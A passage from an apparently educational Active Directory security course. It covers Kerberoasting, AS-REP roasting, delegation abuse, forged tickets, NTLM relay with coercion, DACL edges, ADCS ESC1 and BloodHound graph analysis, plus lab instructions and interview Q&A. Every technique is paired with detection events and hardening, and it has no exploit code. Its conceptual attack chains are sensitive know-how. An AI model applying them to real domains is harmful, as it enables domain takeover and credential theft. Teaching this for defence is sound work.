Detection / hardening. Set accounts and the domain to AES-only where possible (so RC4 in a 4768/ 4769 becomes anomalous and alertable); rotate the krbtgt password (twice) on a schedule and after any suspected DC compromise; keep DCs patched for PAC-validation hardening.
Significance. Every attack in Chapters 5–8 is a manipulation of one specific message or key in this dance. Hold the dance in your head and the attacks become obvious rather than memorized.
Misconceptions.
- "The TGT proves who you are to the service." No — the service ticket does; the TGT only proves you to the KDC. The service never sees your TGT.
- "Kerberos tickets can't be cracked because they're encrypted." The TGS and AS-REP are encrypted with password-derived keys, which is exactly what makes them offline-crackable when the password is weak and the etype is RC4.
Chapter 5: Kerberoasting (T1558.003)
Zero background. Some accounts run services (a SQL server, a web app pool). To let Kerberos
locate them, those accounts are tagged with one or more Service Principal Names (SPNs) — e.g.
MSSQLSvc/db01.meridian.local:1433. The presence of an SPN on a user account is the precondition
for Kerberoasting.
What it is. Kerberoasting is requesting a service ticket (TGS) for an SPN and then cracking it offline to recover the service account's password. ATT&CK: T1558.003.
Why it works — the mechanism. Recall from Chapter 4 that the TGS-REP is encrypted with the service account's key (derived from its password) and is handed to the requester. And recall from Chapter 1 that any domain user can request a service ticket for any SPN. Put those together:
- Any authenticated user asks the KDC for a TGS for
MSSQLSvc/db01(a normal, legitimate request). - The KDC returns a TGS encrypted with
svc_sql's password-derived key. - The attacker takes that ticket offline and brute-forces/dictionaries the password: for each guess, derive the key, try to decrypt, check for a valid structure. No further interaction with AD is needed — and therefore no lockout and no further telemetry during cracking.
Why RC4 is the red flag. If the ticket comes back RC4 (etype 0x17), the key is just the NT hash and the crack runs billions of guesses per second on a GPU. AES makes each guess far more expensive. Attackers therefore request RC4 when the account supports it. A weak or old password makes the crack fast regardless; a long random password makes even RC4 infeasible.
Kerberoast in one line of logic:
any user --TGS-REQ(SPN)--> KDC --TGS-REP(enc with svc account key)--> attacker --crack offline--> password
(RC4 + weak pw = trivial)
Telemetry. 4769 (a Kerberos service ticket was requested) for the SPN — and the discriminators are the Ticket Encryption Type = 0x17 (RC4) and a single account requesting tickets for many different SPNs in a short window (mass roasting). The request itself looks legitimate, which is why the pattern and the etype — not the bare event — are the signal.
Detection. Alert on 4769 with encryption type 0x17 for accounts/SPNs that should be AES; alert on one principal requesting TGS for an anomalous number or diversity of SPNs; deploy honey SPN accounts (a fake service account with an SPN and a strong password) whose any 4769 is malicious.
Hardening (mechanism-level).
- gMSA (group Managed Service Account): the password is 128 random characters, auto-rotated by AD — uncrackable in practice. This is the real fix.
- If a human-managed account is unavoidable: long random password (25+ chars) and AES-only
(
msDS-SupportedEncryptionTypes), and remove SPNs that aren't needed. - Never put an SPN on a privileged account (a Domain Admin running a service) — the crack yields
domain power directly (Lab 02's
privileged_with_spn).
Significance. Kerberoasting is often the first move after a foothold because it needs only a normal user, leaves cracking entirely offline, and frequently yields a service account that is over-privileged. It is the textbook example of "the protocol isn't broken; the configuration is."
Misconceptions.
- "You need admin to Kerberoast." No — any authenticated user can request the ticket.
- "Setting a strong password fixes it." It raises the cost; it does not stop the request. AES-only + gMSA is what actually neutralizes it, because a human-set password is rotated rarely and can leak.
- "AES means we're safe." AES makes the crack expensive but the request still happens; if the password is genuinely weak even AES can fall. gMSA's randomness is what truly closes it.
Chapter 6: AS-REP Roasting (T1558.004)
Zero background. Recall the pre-authentication step in Chapter 4: normally the client must prove
it knows the password (an encrypted timestamp) before the KDC issues anything. Some accounts have a
flag — DONT_REQ_PREAUTH in userAccountControl — that turns pre-auth off, usually to support
a legacy application that can't do it.
What it is. AS-REP roasting is requesting an AS-REP for a pre-auth-disabled account and cracking it offline. ATT&CK: T1558.004. It is Kerberoasting's cousin, one message earlier in the dance.
Why it works — the mechanism. With pre-auth disabled, the KDC will send the AS-REP — which contains a blob encrypted with the user's password-derived key — to anyone who asks, with no proof of identity. So the attacker:
- Requests a TGT (AS-REQ) for the pre-auth-disabled account, supplying no pre-auth.
- Receives the AS-REP, part of which is encrypted with the account's key.
- Cracks it offline, exactly like a Kerberoast.
The difference from Kerberoasting: AS-REP roasting needs no authenticated foothold at all (you can ask the KDC as an outsider if you can reach it) and targets the user's own key rather than a service account's. The shared root cause is the same: an offline-crackable, password-derived ciphertext is handed out, and RC4 (etype 0x17) makes it cheap.
Telemetry. 4768 (a TGT was requested) with Pre-Authentication Type = 0 (none) — the
signature of an AS-REP-roastable account being asked for. RC4 in the reply (etype 0x17) again marks the
cheap-crack case.
Detection. Audit which accounts have DONT_REQ_PREAUTH set (there should be very few, and you
should know each one's reason); alert on 4768 with pre-auth type 0; treat any pre-auth-disabled
privileged account as a critical finding.
Hardening (mechanism-level). Re-enable Kerberos pre-authentication (clear the
DONT_REQ_PREAUTH flag) — the direct fix. If a legacy app genuinely requires it off, give the account a
long random password, set it AES-only, scope its privileges to nothing, and monitor its 4768
events.
Significance. AS-REP-roastable accounts are pure misconfiguration debt — almost always a flag set years ago for a now-forgotten app — and they hand an attacker an offline-crackable hash for free. Lab 02 flags them and ranks privileged ones highest.
Misconceptions.
- "It's the same as Kerberoasting." Same crack, different message and precondition: Kerberoasting needs an SPN (and a foothold); AS-REP roasting needs pre-auth disabled (and not even a foothold).
- "Disabling pre-auth is harmless if the password is strong." It removes a control and emits an offline-crackable artifact to anyone; the only good number of pre-auth-disabled accounts is as close to zero as the apps allow.
Chapter 7: The Three Delegations and How Each Is Abused
Zero background. Delegation is a Kerberos feature that lets a service act on behalf of a user
to a back-end service — e.g. a web front-end (web01) needs to reach a database (db01) as the
logged-in user, not as itself, so file permissions apply correctly. Useful and legitimate; also one of
the most dangerous misconfigurations in AD when set too broadly. There are three kinds.
1) Unconstrained delegation (the worst). A computer flagged TRUSTED_FOR_DELEGATION is allowed to
impersonate users to any service. To make that possible, when a user authenticates to such a host,
the KDC includes the user's TGT in the service ticket, and the host caches that TGT in memory.
- Abuse: compromise the unconstrained host and you can extract the cached TGTs of every user who has authenticated to it — including, if you can make one authenticate, a Domain Admin or a DC's computer account. Combined with coercion (Chapter 9 — force a DC to authenticate to your host, PetitPotam-style), this is a direct path to domain compromise.
- Why it's catastrophic: it caches a reusable TGT, the most powerful Kerberos artifact, for everyone who touches the host.
2) Constrained delegation (S4U). A service is allowed to impersonate users only to a named list of
SPNs (msDS-AllowedToDelegateTo). It uses two extensions: S4U2Self (the service requests a ticket
to itself on behalf of a user, even without the user's TGT) and S4U2Proxy (it then requests a
ticket to the allowed back-end service on the user's behalf).
- Abuse: if you control the delegating account, S4U2Self lets you mint a ticket as any user
(including a DA) to yourself, and S4U2Proxy forwards it to the allowed service — and with protocol
transition you don't even need the user's password. The constraint limits which services, but if
one of them is sensitive (e.g.
CIFS/dc01), it's game over.
3) Resource-based constrained delegation (RBCD). The newest model inverts the configuration: the
back-end resource decides who may delegate to it, via its own attribute
msDS-AllowedToActOnBehalfOfOtherIdentity.
- Abuse: if you can write that attribute on a target computer (you have
GenericWrite/WriteDaclover it, or you can create a computer account and configure it), you point it at an account you control, then use S4U2Self/S4U2Proxy to impersonate any user to that target. RBCD is a favorite because the precondition — a write to one attribute — is a common DACL-abuse outcome (Chapter 10).
Under the hood — the abuse pattern, in one diagram:
Unconstrained: user --auths--> [TRUSTED_FOR_DELEGATION host] (host caches the user's TGT)
attacker owns host => steal cached TGT => be that user (incl. DA)
Constrained: attacker controls delegating account
S4U2Self(as: DA, to: self) then S4U2Proxy(to: allowed SPN) => act as DA to that SPN
RBCD: attacker writes msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET, pointing at OWNED
S4U2Self/S4U2Proxy => impersonate ANY user to TARGET
Telemetry. 4769 service-ticket requests showing the S4U pattern (a service requesting
tickets on behalf of other users); 5136 writes to msDS-AllowedToActOnBehalfOfOtherIdentity
(RBCD being configured) and to msDS-AllowedToDelegateTo (constrained delegation being changed);
anomalous outbound authentication from a DC (a sign of coercion feeding unconstrained delegation).
Detection. Enumerate and alert on the existence of TRUSTED_FOR_DELEGATION on any non-DC; alert
on 5136 writes to the delegation attributes; watch for the S4U2Self → S4U2Proxy pattern in 4769
from unexpected principals.
Hardening (mechanism-level). Remove unconstrained delegation everywhere it isn't strictly required (replace with constrained/RBCD); mark sensitive accounts "account is sensitive and cannot be delegated" and add them to Protected Users (their TGTs won't be cached/forwarded); tightly control who can write the delegation attributes; prefer gMSA identities for delegating services.
Significance. Delegation abuse is one of the cleanest paths to Domain Admin and is heavily
configuration-driven — exactly the kind of thing Lab 02 surfaces and Lab 01 walks. The
AllowedToDelegate/AllowedToAct edges in the path solver are these three delegations.
Misconceptions.
- "Constrained is safe because it's constrained." It's constrained to services, not to users; with protocol transition you impersonate any user to the allowed service.
- "RBCD needs domain admin to set up." It needs a write to one attribute on the target — frequently achievable from a DACL edge, which is why it pairs with Chapter 10 so often.
Chapter 8: Golden, Silver, and Diamond Tickets
Zero background. Once an attacker steals the right key, they can stop asking the KDC for tickets and start forging them. The three forgeries differ by which key they need and what they let you do.
Golden ticket. Forge a TGT using the krbtgt key (the NT hash or AES key of the krbtgt
account, obtained via DCSync or a DC compromise). Because the TGT is the master ticket and is encrypted
with the krbtgt key (Chapter 4), a forged TGT lets you be any user, in any group, for as long as you
like — without the AS exchange at all. ATT&CK: T1558.001.
- Why it's so powerful: it skips authentication entirely; you mint your own identity and the KDC's own krbtgt key validates it.
- Why it's persistent: the only way to invalidate every golden ticket is to rotate the krbtgt password twice (twice, because the previous password is kept for one rotation).
Silver ticket. Forge a service ticket (TGS) using a service account's key (Chapter 4). It grants access to that one service as any user — but never touches the KDC, so there's even less telemetry than a golden ticket. ATT&CK: T1558.002.
- Why it's quiet: the service decrypts the forged TGS with its own key and trusts it; no 4768/4769 is generated because you never asked the KDC. It's scoped but stealthy.
Diamond ticket. A refinement: instead of forging a TGT from scratch (which can produce a PAC that doesn't match what a real KDC would issue and thus trips PAC-validation detections), the attacker requests a legitimate TGT and then modifies its decrypted contents (using the krbtgt key) before re-encrypting — yielding a ticket whose fields/PAC look like the KDC's own. It is harder to detect than a classic golden ticket precisely because it starts from a real ticket.
| Forgery | Key needed | Scope | Telemetry |
|---|---|---|---|
| Golden | krbtgt key | the whole domain, any user | no AS exchange (no 4768); anomalous TGT use; PAC mismatches |
| Silver | a service account key | one service | none from the KDC (no 4768/4769); only the service's own logs |
| Diamond | krbtgt key (modifies a real TGT) | the whole domain | even harder — fields mirror a real KDC issuance |
Under the hood — why detection is hard. These are valid tickets by construction: they decrypt correctly with the right key, so the cryptography accepts them. Detection therefore shifts from "is this ticket valid?" to behavioral and consistency signals: tickets with anomalous lifetimes, a logon (4624) with no preceding 4768, a username in a ticket that doesn't exist in the directory, PAC fields that don't match the account, or use of an account from an impossible location.
Telemetry / detection.
- Golden: 4624/4672 (privileged logon) without a corresponding 4768; tickets with non-default lifetimes; PAC-validation failures after the 2021–2022 hardening; nonexistent or mismatched usernames.
- Silver: essentially invisible to the DC — you must detect at the service (e.g., the service granting access with no matching 4769 on the DC) and via host EDR.
- The durable control: rotate krbtgt twice (kills golden/diamond), rotate service account keys / use gMSA (kills silver), and patch DCs for PAC validation.
Hardening (mechanism-level). Protect the krbtgt key like the crown jewel it is (it is the crown jewel); rotate it on a schedule and after any DC-compromise suspicion; minimize service-account key exposure with gMSA; enforce PAC-validation patches; constrain ticket lifetimes.
Significance. These are persistence and impersonation techniques, not initial access — they are how an attacker who already reached the DC stays and moves as anyone. They are why "we reset the admin passwords" after an incident is insufficient: until krbtgt is rotated (twice), golden tickets survive.
Misconceptions.
- "Resetting admin passwords removes a golden ticket." No — only krbtgt rotation (twice) does.
- "Silver tickets are louder than golden." The opposite — silver tickets never touch the KDC, so they generate less central telemetry; they're just narrower in scope.
Chapter 9: NTLM Relay, Coercion, Pass-the-Hash, and Pass-the-Ticket
Zero background. Two themes here: reusing stolen authentication material (you have a hash or a ticket, use it without the password) and relaying/coercing authentication (you make a victim authenticate and forward that authentication somewhere useful). Both lean on NTLM's structural weaknesses (Chapter 3).
Pass-the-hash (PtH, T1550.002). Because NTLM proves knowledge of the NT hash, not the plaintext (Chapter 3), an attacker who steals the NT hash from LSASS or the SAM/NTDS can authenticate as that user without cracking anything. The hash is the credential for NTLM.
Pass-the-ticket (PtT, T1550.003). The Kerberos analogue: steal a TGT or service ticket from a host's memory and inject it into your own session to act as that user, again without the password. (A golden/silver ticket is a forged ticket; PtT reuses a real stolen one.)
NTLM relay. NTLM has no server authentication and (by default) no channel binding, so a man-in-the-middle can take a victim's NTLM authentication aimed at server A and relay it to server B, authenticating to B as the victim. If B is a domain controller's LDAP, an MSSQL server, or ADCS web enrollment, the relayed auth can do real damage (e.g., grant the attacker rights, or — relaying to ADCS — obtain a certificate as the victim, Chapter 10).
Coercion (the PetitPotam idea). Relay needs a victim's authentication to relay. Coercion is making a privileged machine authenticate to you on demand by calling a Windows RPC method that triggers an outbound authentication — the family includes PetitPotam (MS-EFSRPC) and PrinterBug (MS-RPRN). The high-impact chain is: coerce a Domain Controller to authenticate to an attacker host, then relay that DC's NTLM authentication to ADCS to obtain a certificate for the DC's computer account, then use that certificate to act as the DC → domain compromise. (This is the conceptual chain; the lab never performs it — it reasons about the exposure and the detection.)
Coercion + relay (conceptual):
attacker --RPC trigger--> DC (PetitPotam/PrinterBug: "authenticate to me")
DC --NTLM auth----> attacker (the coerced authentication)
attacker --relay NTLM---> ADCS/LDAP (act AS the DC) => certificate / rights => domain compromise
Telemetry.
- PtH/PtT: 4624 logon type 3 with NTLM where it doesn't belong; logons with mismatched workstation/host fields; EDR detection of LSASS access (Sysmon 10) feeding the theft; a ticket in use with no preceding 4768 (PtT).
- Relay/coercion: a DC authenticating outbound to a non-DC (very abnormal); NTLM where Kerberos was expected; ADCS issuance (4886/4887) for a machine account via web enrollment; EFSRPC/MS-RPRN RPC calls to a DC.
Detection / hardening.
- Stop relay: enforce SMB signing (everywhere), LDAP signing + channel binding, and Extended Protection for Authentication (EPA) on ADCS web enrollment and other HTTP auth endpoints; disable NTLM where feasible.
- Stop coercion: patch (PetitPotam mitigations), restrict the vulnerable RPC interfaces, and remove web enrollment / require EPA on ADCS.
- Stop PtH/PtT: Protected Users group (no NTLM, no RC4, no delegation, shorter ticket life), Credential Guard (isolates secrets from LSASS), tiered admin and LAPS (so a stolen local-admin hash isn't reusable across machines).
Significance. This chapter is the bridge between "I have some credential material" and "I am the domain": relay+coercion turns a coerced machine authentication into privilege, and PtH/PtT turn stolen material into lateral movement. The controls here (signing, EPA, Protected Users, Credential Guard, LAPS, tiered admin) are the backbone of an AD-hardening roadmap.
Misconceptions.
- "We have strong passwords, so PtH doesn't matter." PtH never touches the password — only the hash. Password strength is irrelevant to it; tiered admin + LAPS + Credential Guard are the answer.
- "Relay is a legacy problem." Coercion (PetitPotam/PrinterBug) keeps it current; unsigned SMB/LDAP and ADCS web enrollment without EPA are common in 2020s networks.
Chapter 10: DACL Attack Edges and ADCS ESC1
Zero background. Chapter 2 introduced the security descriptor and ACEs. This chapter turns specific rights over objects into attack edges — the quiet, no-malware, no-CVE abuses that BloodHound exists to find — and then covers ADCS ESC1, a certificate-template misconfiguration that is a fast lane to Domain Admin.
The DACL attack edges (the GenericAll family).
| Edge (the right) | What it lets you do | Typical follow-on |
|---|---|---|
GenericAll | full control over the object | reset password, add SPN, write any attribute → own it |
GenericWrite | write the object's attributes | add an SPN (targeted Kerberoast) or write msDS-KeyCredentialLink |
WriteDacl | rewrite the object's DACL | grant yourself GenericAll |
WriteOwner | become the object's owner | owner can rewrite the DACL → WriteDacl → GenericAll |
ForceChangePassword | reset the victim's password without the old one | log in as the victim |
AddMember | add a principal to a group | add yourself to a privileged group |
AddKeyCredentialLink | write the victim's msDS-KeyCredentialLink | shadow credentials: enroll a cert key and authenticate via PKINIT as the victim |
Shadow credentials (under the hood). Modern Windows supports Key Trust logon: you can attach a
public key to an account's msDS-KeyCredentialLink and then authenticate with the matching private key
via PKINIT (certificate-based Kerberos). If you have GenericWrite/AddKeyCredentialLink over a
victim, you write your own key, then request a TGT as the victim with no password reset (quieter and
more reversible than ForceChangePassword). ATT&CK: T1556.
ADCS ESC1 (under the hood). AD Certificate Services (ADCS) issues certificates. Certificates can be used to authenticate (a cert maps to an account, and PKINIT logs you in as that account). ESC1 is a template that combines three misconfigurations:
- The template allows client authentication (the cert can be used to log on), and
- The template lets the enrollee supply the Subject Alternative Name (SAN) — i.e., you choose which account the cert is for, and
- Low-privileged users may enroll.
Put together: a normal user enrolls a certificate, sets the SAN to a Domain Admin, and then authenticates with that certificate as the Domain Admin. No password, no cracking — a direct, fast path to DA. (SpecterOps's Certified Pre-Owned catalogs ESC1–ESC8; ESC1 is the canonical one.) ATT&CK: T1649 (Forge/Steal Authentication Certificates).
ESC1 in one line:
low-priv user --enroll(template: clientAuth + enrollee-supplies-SAN, SAN = "Domain Admin")--> CA
CA --issues cert for "Domain Admin"--> user --PKINIT(cert)--> TGT as Domain Admin
Telemetry.
- DACL abuse: 4662 / 5136 on the target object (attribute writes, SPN added,
msDS-KeyCredentialLinkwritten, owner/DACL change); 4724 for a forced password reset; 4728/ 4732/4756 for group additions. - ADCS: 4886 (certificate requested) and 4887 (certificate issued) on the CA — the discriminator is a request whose SAN doesn't match the requester (an enrollee asking for a cert as someone else), and a follow-on 4768 PKINIT logon for that other account.
Detection. Audit object SACLs to generate 4662/5136 and alert on writes to sensitive attributes by non-admins; alert on 4886/4887 where the SAN ≠ the requester; enumerate certificate templates for the ESC1 combination (enrollee-supplied SAN + client auth + broad enrollment) and fix the template.
Hardening (mechanism-level).
- Templates: disable enrollee-supplied SAN, require manager approval for sensitive templates, restrict enrollment to the principals that actually need it, and remove client-auth EKU where not needed.
- DACLs: remove over-broad
GenericAll/WriteDacl/WriteOwner/AddKeyCredentialLinkfrom non-administrative principals on privileged objects; protect Tier-0 objects with AdminSDHolder and tight SACLs. - PKINIT: enforce strong certificate mapping (the 2022 KB5014754 changes) so a cert can't be silently re-mapped to a privileged account.
Significance. DACL edges and ESC1 are the quietest, fastest AD escalation paths — no exploit, no malware, just misused rights — which is exactly why they dominate BloodHound paths and why Lab 01 includes them as first-class edges and Lab 02 (extension) checks for them.
Misconceptions.
- "Certificates are a defensive technology, not an attack surface." ADCS, misconfigured, is one of the fastest paths to DA in modern AD; certs authenticate, so a cert for the wrong account is a logon as that account.
- "
AddKeyCredentialLinkis obscure." Shadow credentials are a mainstream technique; the edge is a routine BloodHound finding.
Chapter 11: The BloodHound Graph Model
Zero background. Every prior chapter described one kind of relationship — group membership, an ACL right, a session, a delegation, a cert path. BloodHound is the tool that collects all of them and treats AD as what it really is: a directed graph. SharpHound is the collector (it queries LDAP and host sessions and writes JSON); BloodHound ingests that JSON into a graph database and lets you ask graph questions — chiefly, "what is the shortest path from this owned principal to Domain Admins?"
The model. Nodes are principals and objects: User, Computer, Group, OU, GPO,
Domain, CertTemplate. Edges are directed, typed relationships that represent abusable
control:
Nodes: User · Computer · Group · OU · GPO · Domain · CertTemplate
Edges (a slice — each is an attack technique with a detection):
MemberOf group membership (transitive rights) — no event alone
AdminTo local admin on a host (→ creds there) — 4624/4672 on the host
HasSession a user is logged on (→ harvest their creds) — 4624; LSASS access (Sysmon 10)
CanRDP / CanPSRemote remote interactive / WinRM — 4624 type 10 / 5985-5986
GenericAll/Write full / attribute control of an object — 4662 / 5136
WriteDacl/WriteOwner rewrite the object's ACL/owner — 4670 / 5136
ForceChangePassword reset the victim's password — 4724
AddKeyCredentialLink shadow credentials (PKINIT) — 5136; 4768 PKINIT
AllowedToDelegate constrained delegation — 4769 S4U
AllowedToAct resource-based delegation (RBCD) — 5136; 4769 S4U
ADCSESC1 enroll a cert as anyone — 4886/4887 (SAN ≠ requester)
DCSync replicate secrets from the DC — 4662 (replication GUIDs)
The core question — shortest path to Domain Admins. Once AD is a graph, "how does an attacker get
from a foothold to domain dominance?" is literally a graph path query (BloodHound runs Cypher; e.g.,
shortestPath from an owned node to the Domain Admins node). And because some abuses are louder or
costlier than others (cracking a ticket vs. reusing a live session vs. walking group membership), the
right question is the weighted shortest path — the path of least resistance, not fewest hops.
This is exactly Lab 01: edges carry a cost (attacker effort / detectability) and Dijkstra
finds the quietest path.
The defender's dual — choke edges (dominators). The same graph answers the defender's question: which
edges lie on every path from the foothold to the crown jewels? Remove one of those and you sever
all those paths at once. These are the dominators / choke edges, and they are the highest-leverage
remediations — far better than fixing dead-end leaf findings. This is the other half of Lab 01
(choke_edges), and the exposures Lab 02 finds are the edges you'd cut.
Under the hood — why weighting and choke analysis matter. A real forest has thousands of nodes and tens of thousands of edges; there are usually many paths to DA. Two insights make the analysis actionable: (1) attackers take the cheapest path, so weighting tells you which path to expect and detect first; (2) defenders can't fix everything, so choke-edge analysis tells you the few edges whose removal collapses the most paths. The combination — predict the quiet path, cut the dominators — is the entire defensive payoff of graphing AD.
Telemetry / detection. BloodHound itself is attacker reconnaissance and has a footprint: SharpHound generates a burst of LDAP queries (and session enumeration via SMB/RPC), so a sudden high-volume LDAP query pattern from a single host — especially queries for all users, groups, computers, ACLs, and SPNs — is a collection signal worth alerting on (some environments deploy a honey account/object whose enumeration is always malicious). Each edge in a found path has its own detection (the table above); the path is only as undetected as its quietest step.
Hardening. The graph is the roadmap: cut choke edges (remove dangerous ACEs, enforce tiered admin so
HasSession/AdminTo edges from Tier-0 to Tier-2 vanish, convert service accounts to gMSA so the
roastable edges disappear), then build the detection (the per-edge events) for every path you can't cut.
Significance. The graph model is the lingua franca of modern AD attack and defense. A red teamer who can collect, walk, weight, and explain the path — and hand the client the choke edges to cut and the detections to keep — is doing the staff-level job, not just "getting DA."
Misconceptions.
- "BloodHound finds vulnerabilities." It finds relationships. Every edge is, individually, a legitimate configuration; the attack is the chain. That's why remediation is graph surgery, not patching.
- "More paths = more secure if they're long." Length is hops, not cost. A single cheap
GenericAlledge can be shorter in effort than a long chain — weight, don't count.
Lab Walkthrough
The two labs are the graph and the facts views of one directory. Do Lab 02 first if you want the exposures before the paths, or Lab 01 first if you want the algorithm spine; they are independent.
Lab 01 — AD attack-path solver (lab-01-ad-attack-path-solver/). Implement in this order:
nodes(edges)— every principal that appears as a src or dst. Trivial, but it underpinsreachable_high_value.shortest_path(edges, start, target)— Dijkstra overEdge.effective_cost(). Return the node path, the edge path (so you can label techniques), and the total cost. Handlestart == target(((start,), (), 0.0)) and unreachable ((None, (), inf)). Use a heap and sorted adjacency for determinism — ties must break the same way every run.path_cost— the cost component ofshortest_path.reachable_high_value(edges, start, high_value)— for each high-value node,path_costand keep the reachable ones; sort by(cost, name). Compare names case-insensitively against the HV set.choke_edges(edges, start, target)— BFS reachability with one edge removed; the edges whose removal disconnects the target are the choke points. Return sorted(src, dst, kind)keys.path_techniques(edge_path)— map each edgekindthroughEDGE_CATALOGto its technique + detection; don't crash on an unknown kind — degrade to anUNKNOWNlabel.
Why this order: the path functions are the spine; reachable_high_value reuses path_cost;
choke_edges is the defender's dual and needs only unweighted reachability; path_techniques is the
detection-pairing layer that makes the output a report, not just a path.
Lab 02 — Kerberos exposure analyzer (lab-02-kerberos-exposure-analyzer/). Implement each check,
then analyze:
kerberoastable— SPN on auser, skip gMSA; risk up for RC4, old password, and privilege. (Chapter 5.)asrep_roastable—preauth_disabledaccounts. (Chapter 6.)delegation_risks—unconstrained_delegation(top risk) andrbcd_writable_byobjects. (Chapter 7.)privileged_with_spn— privileged user accounts carrying an SPN, flagged at the top tier. (Chapter 5.)analyze— run all checks, sort by(risk desc, technique, account, title)— highest-impact, easiest-crack first, and deterministic.
Every finding must carry a detection (the right event id) and a hardening string — that
pairing is the point. Run LAB_MODULE=solution pytest -q to see the reference pass (12 and 11 tests),
fill in lab.py, then pytest -q until green.
Success Criteria
You understand this phase when you can, without notes:
- Draw the Kerberos ticket dance (
AS-REQ → AS-REP → TGS-REQ → TGS-REP) and name every key and what the PAC carries — and place each attack on the specific message/key it abuses. - Explain why a Kerberoast (TGS) and an AS-REP roast are offline-crackable, why RC4 makes the crack cheap, and why gMSA / AES-only / pre-auth are the real fixes — not "a strong password."
- Distinguish the three delegations and state how each is abused and detected, and why unconstrained on a non-DC is catastrophic.
- Explain golden vs silver vs diamond tickets by key and telemetry, and why krbtgt rotation (twice) is the only cure for golden/diamond.
- Trace coercion + relay to ADCS as a path to DA, and name the controls (SMB/LDAP signing, EPA, Protected Users, Credential Guard, LAPS, tiered admin) that break each step.
- Read a DACL edge (
GenericAll,ForceChangePassword,AddKeyCredentialLink) and ESC1 and name the 4662/5136/4724/4886-4887 event that detects the abuse. - Model AD as a weighted directed graph, find the quietest path to Domain Admins, rank the reachable high-value targets, and name the choke edges to cut — and pair every surviving edge with its detection.
If you can only run the tools but cannot explain the mechanism and name the event id and the fix for each step, you are not done.
Common Mistakes / OPSEC Failures
- Mapping a technique but not its telemetry. A Kerberoast you can't tie to 4769/etype-0x17, a DCSync you can't tie to 4662/replication-GUIDs, or an ESC1 you can't tie to 4886/4887 SAN ≠ requester fails this track's detection-pairing bar.
- "Strong password" as the Kerberoast fix. It raises cost; it doesn't stop the request and doesn't rotate. gMSA + AES-only + no SPN on privileged accounts is the mechanism-level answer.
- Confusing the three delegations or thinking "constrained = safe." Constrained limits services, not users.
- Thinking golden tickets are loud. They skip the AS exchange — no 4768 — which is why behavioral detection and krbtgt rotation matter more than any single event. And silver tickets are quieter still (no KDC contact).
- Chasing leaf findings over choke edges. Cut the dominators; don't grind dead-ends.
- OPSEC: mass SharpHound/LDAP bursts. Collection is loud — a single host enumerating all users, groups, computers, ACLs, and SPNs is a detection signal. On a real engagement you pace and scope it; in these labs there is no collection at all — synthetic data only.
- Forgetting RC4 is the tell. AES-only doesn't block the request but makes the crack expensive and the 4769-etype-0x17 detection meaningful.
- Treating AD as patchable. The dominant attacks are configuration and relationships — SPNs, delegation, ACLs, templates — not memory-corruption CVEs.
Interview Q&A
Q1. Walk me through the Kerberos ticket dance and name every key. Where does the krbtgt key sit? The client sends an AS-REQ to the KDC's Authentication Service, including pre-authentication — a timestamp encrypted with the user's key (derived from the password) — to prove identity. The KDC returns an AS-REP containing a TGT encrypted with the krbtgt key (so only the KDC can read it later) plus a session key blob encrypted with the user's key; the TGT carries a PAC of the user's SIDs and groups. To reach a service, the client sends the TGT plus the target SPN in a TGS-REQ; the TGS validates the TGT (it holds the krbtgt key) and returns a TGS-REP containing a service ticket encrypted with the target service account's key. The client presents that ticket to the service (AP-REQ), which decrypts it with its own key and reads the PAC. The krbtgt key sits at the root: it encrypts every TGT, so whoever holds it can forge a TGT for anyone — that's the golden ticket, and why krbtgt is the keys to the kingdom.
Q2. Explain Kerberoasting from first principles — why crackable, why any user, why RC4?
The TGS-REP is encrypted with the service account's password-derived key and is handed to the
requester, and any authenticated user may request a TGS for any SPN. So any user asks for a service
ticket for, say, MSSQLSvc/db01, receives a blob encrypted with svc_sql's key, and cracks it
offline — no lockout, no further AD interaction. RC4 (etype 0x17) derives the key straight from the
NT hash (MD4 of the password), so a GPU brute-forces billions/sec; AES uses PBKDF2 with 4096
iterations + salt, making each guess far costlier. Detect via 4769 with etype 0x17 and one principal
requesting many SPNs; harden with gMSA (128-char auto-rotated key), or AES-only + long random
password + remove unused SPNs, and never an SPN on a privileged account.
Q3. AS-REP roasting vs Kerberoasting?
Same offline crack, different message and precondition. Kerberoasting needs an SPN on a user (and
a foothold) and cracks the TGS (a service account's key). AS-REP roasting needs pre-auth
disabled (DONT_REQ_PREAUTH) — and not even a foothold — and cracks the AS-REP (the user's own
key), because with pre-auth off the KDC hands the AS-REP to anyone. Detect AS-REP roasting via 4768 with
pre-auth type 0; fix by re-enabling pre-authentication (and AES-only + strong password if a legacy
app forces it off).
Q4. Compare unconstrained, constrained, and RBCD delegation. Why is unconstrained on a non-DC so bad?
Unconstrained lets a host impersonate users to any service; to enable that the KDC puts each
authenticating user's TGT in the service ticket and the host caches it — so compromising the host
yields reusable TGTs for everyone who authenticated, and coercing a DC to authenticate there yields a
DC's TGT → domain compromise. Constrained limits impersonation to a named SPN list via S4U2Self/
S4U2Proxy (with protocol transition you can impersonate any user to those services). RBCD inverts
it: the target lists who may delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity, so a
write to that attribute (a common DACL outcome) lets you impersonate any user to the target.
Unconstrained on a non-DC is worst because it caches the most powerful artifact (a TGT) for
everyone. Detect via 4769 S4U patterns and 5136 writes to the delegation attributes; harden with
constrained/RBCD only, Protected Users, "sensitive — cannot be delegated," and tight write-control on
those attributes.
Q5. Golden vs silver vs diamond tickets — keys, scope, telemetry? Golden forges a TGT using the krbtgt key → be any user, any group, domain-wide, with no AS exchange (no 4768). Silver forges a service ticket using a service account's key → access to that one service, and it never touches the KDC (no 4768/4769) so it's even quieter but narrower. Diamond uses the krbtgt key to modify a real TGT's contents, so its PAC/fields mirror a genuine KDC issuance and it's harder to detect than a from-scratch golden. They're valid by construction, so detection is behavioral/consistency: logon (4624) with no preceding 4768, anomalous ticket lifetimes, nonexistent usernames, PAC mismatches. The cure: rotate krbtgt twice (golden/diamond), rotate service keys / gMSA (silver), and PAC-validation patches.
Q6. What is NTLM relay, and how does coercion turn it into domain compromise? NTLM has no server authentication and no channel binding by default, so an attacker can relay a victim's NTLM authentication intended for server A to server B, acting as the victim on B. Coercion (PetitPotam/MS-EFSRPC, PrinterBug/MS-RPRN) forces a privileged machine to authenticate to the attacker on demand. The classic chain: coerce a DC to authenticate to the attacker, relay that to ADCS web enrollment, obtain a certificate as the DC's machine account, then use it to act as the DC → domain compromise. Break it with SMB signing, LDAP signing + channel binding, EPA on ADCS, removing web enrollment, patching the coercion vectors, and disabling NTLM where feasible.
Q7. Explain a DACL edge like GenericAll or ForceChangePassword. What does BloodHound show, and what
detects the abuse?
A DACL edge is a right one principal has over an object that can be abused without malware or a CVE.
